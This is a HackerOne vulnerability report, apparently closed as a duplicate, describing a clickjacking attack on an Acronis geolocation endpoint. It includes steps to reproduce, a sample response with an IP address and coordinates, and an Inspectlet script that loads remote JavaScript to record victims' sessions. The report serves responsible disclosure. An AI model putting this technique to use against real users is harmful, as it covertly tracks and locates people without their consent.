Get ip and Geo location any user via Clickjacking with inspectlet technology
None
Vulnerability Details
## Summary
Get ip and Geo location any user via Clickjacking with inspectlet technology
https://geoapi.acronis.com/?q=admin/views/ajax/autocomplete/user/a
## Steps To Reproduce
1. go to F1015419
2. will watch your geo data ex.
{"city":"Abu Kabir","country":{"name":"Egypt","code":"EG"},"location":{"accuracy_radius":1000,"latitude":30.7251,"longitude":31.6715,"time_zone":"Africa\/Cairo"},"region":{"name":"Sharqia","code":"SHR"},"ip":"154.237.109.156"}
3.upload this page to any host and regsiter on https://www.inspectlet.com and add the tarcking code to your clickjacking page to can screen recording the user Sessions
ex.
<!-- Begin Inspectlet Asynchronous Code -->
<script type="text/javascript">
(function() {
window.__insp = window.__insp || [];
__insp.push(['wid', 2060137667]);
var ldinsp = function(){
if(typeof window.__inspld != "undefined") return; window.__inspld = 1; var insp = document.createElement('script'); insp.type = 'text/javascript'; insp.async = true; insp.id = "inspsync"; insp.src = ('https:' == document.location.protocol ? 'https' : 'http') + '://cdn.inspectlet.com/inspectlet.js?wid=2060137667&r=' + Math.floor(new Date().getTime()/3600000); var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(insp, x); };
setTimeout(ldinsp, 0);
})();
</script>
<!-- End Inspectlet Asynchronous Code -->
4. after victim going to clickjacking page attacker will get full geo data via Session Recordings tab on https://www.inspectlet.com
## Impact
Get ip and Geo location any user
Actions
View on HackerOneReport Stats
- Report ID: 998555
- State: Closed
- Substate: duplicate
- Upvotes: 9